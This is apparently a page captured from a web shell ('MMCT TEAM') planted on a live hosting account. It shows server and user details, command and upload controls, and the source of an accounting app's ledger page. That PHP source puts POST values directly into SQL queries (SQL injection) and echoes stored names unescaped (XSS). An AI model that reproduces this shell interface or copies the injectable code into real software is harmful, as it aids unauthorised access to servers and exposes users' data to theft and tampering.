MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/accounts/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/accounts/ledger_master.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    //  require("../common.php"); 
     session_start();
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: ../index.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to ../index.php"); 
    } 
     if($_SESSION['user']['type']!="Accounts")
     {
         echo"<script>alert('Unable to access this page...'); window.location='accounts_dashboard.php';</script>";
     }
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 

?>

<?php


        
 include "config/config.php";
 


?>


<!DOCTYPE html>
<html lang="en">

<?php include "html-head.php"; ?>
<body>

    




        <!-- Navigation -->
        <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                
                    <h3 style="margin-left: 20px;margin-bottom: 20px;color: Red" href="#"><b><?php include "Name.txt"; ?></b></h3>

            </div>
            <!-- /.navbar-header -->

            
            <!-- /.navbar-top-links -->

            <?php
            include "header.php";
            ?>
            <!-- /.navbar-static-side -->
        </nav>


          <div id="wrapper">
         <div id="page-wrapper">
            <br>
 



         <div class="tab-content">
    <div  class="tab-pane fade in active">


      
                <div class="row">
                    <div class="col-lg-12">
                    


                    <div class="panel panel-default">


                        <div class="panel-heading">
                           <center> New Ledger</center>
                        </div>


                        <div class="panel-body">



                                    <!-- Form Content Start -->

                                     <form action="" method="post">

                                  <div class="col-lg-6">
                                    
                                        <div class="form-group">
                                            <label>Ledger Name</label>
                                            <input type="text" class="form-control SpecialNotAllow" name="name" id="to" required>
                                        </div>
                                      
                                </div>


                                  <div class="col-lg-6">
                                    
                                        <div class="form-group">
                                            <label>Ledger Type</label>
                                            <select class="form-control" name="type" required >
                                                <option value="Income/Revenue">Income/Revenue</option>
                                                <option value="Expenditure">Expenditure</option>
                                                <option value="Liabilirties">Liabilirties</option>
                                                  <option value="Assets">Assets</option>
                                                <option value="Current Assets">Current Assets</option>

                                            </select>
                                            
                                        </div>
                                       
                                </div> 




                               
                                       
                                 

                                <center>
                                      
                                        <button type="submit" class="btn btn-default">Submit Button</button></a>
                                        <button type="reset" class="btn btn-default">Reset Button</button>
                                </center>

                                    </form>
                           
                            <!-- Form Content Start -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
               <!-- /.ROW -->
     


    </div>



<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{

$sqlD=mysqli_query($con,"select * from ledger where Name = '$_POST[name]' ");
$sql1=mysqli_num_rows($sqlD);
$c=1;
if($sql1 != 0)
{
  $c=0;
  ?>
  <script>
    alert("Dublicate");
  document.location="ledger_master.php";

   </script>
   <?php

      }
  

if($c != 0)
{
  $sql="INSERT INTO `ledger` (`Name`,`Type`) VALUES ('$_POST[name]','$_POST[type]');";
  mysqli_query($con,"$sql")or die(mysqli_error($con));

?>
    <script>
  //document.location="Head.php";
  alert("Entry Successfull");

  </script>
 <?php
}
}
?>


     <div class="tab-content">
    <div  class="tab-pane fade in active">


      
                <div class="row">
                    <div class="col-lg-12">
                    


                    <div class="panel panel-default">


                        <div class="panel-heading">
                           <center> Created Ledgers</center>
                        </div>


                        <div class="panel-body">

                             <table width="100%" class="table table-striped table-bordered table-hover" id="example">
                           <thead>
                           <tr>
                            <th>Ledger Name</th>
                            <th>Ledger Type</th>
                            <th>Action</th>
                            </tr>

                           </thead>
                           <tbody>
                          
                                    <!-- Form Content Start -->
                                <?php 

                                $r5=mysqli_query($con,"SELECT * FROM `ledger` ORDER BY `Name` ASC");
                                while($row5=mysqli_fetch_array($r5))
                                {
                                ?>
                                  <tr>

                                      <td>  <?php echo $row5['Name'];  ?></td>
                                      <td><?php echo  $row5['Type'];   ?></td>
                                      <td>
                                          <a href="DeleteLedger.php?ledger=<?php echo $row5['Name']; ?>" onclick="return confirm('Are you sure delete ledger ?')"><i class="fa fa-trash"></i></a> 
                                      </td>           
                                </tr>                
                                        
                                <?php
                              }
                                ?>
                            
                            </tbody></table>
                                    





                               
                                       
                                 

                                 
 
                           
                            <!-- Form Content Start -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
               <!-- /.ROW -->
     


    </div>


        </div>



</div>
            
        </div>
       

    </div>
    <!-- /#wrapper -->






<?php  include "html-footer.php" ?>

 
 
     

<script type="text/javascript">
    $(function () {
        $(".SpecialNotAllow").keypress(function (e) {
            var keyCode = e.keyCode || e.which;

            var regex = /^[A-Za-z0-9 ]+$/;
 
            //Validate TextBox value against the Regex.
            var isValid = regex.test(String.fromCharCode(keyCode));
            if (!isValid) {
                return false;
            }
 
            return isValid;
        });
    });
</script>

    
</body>

</html>

MMCT - 2023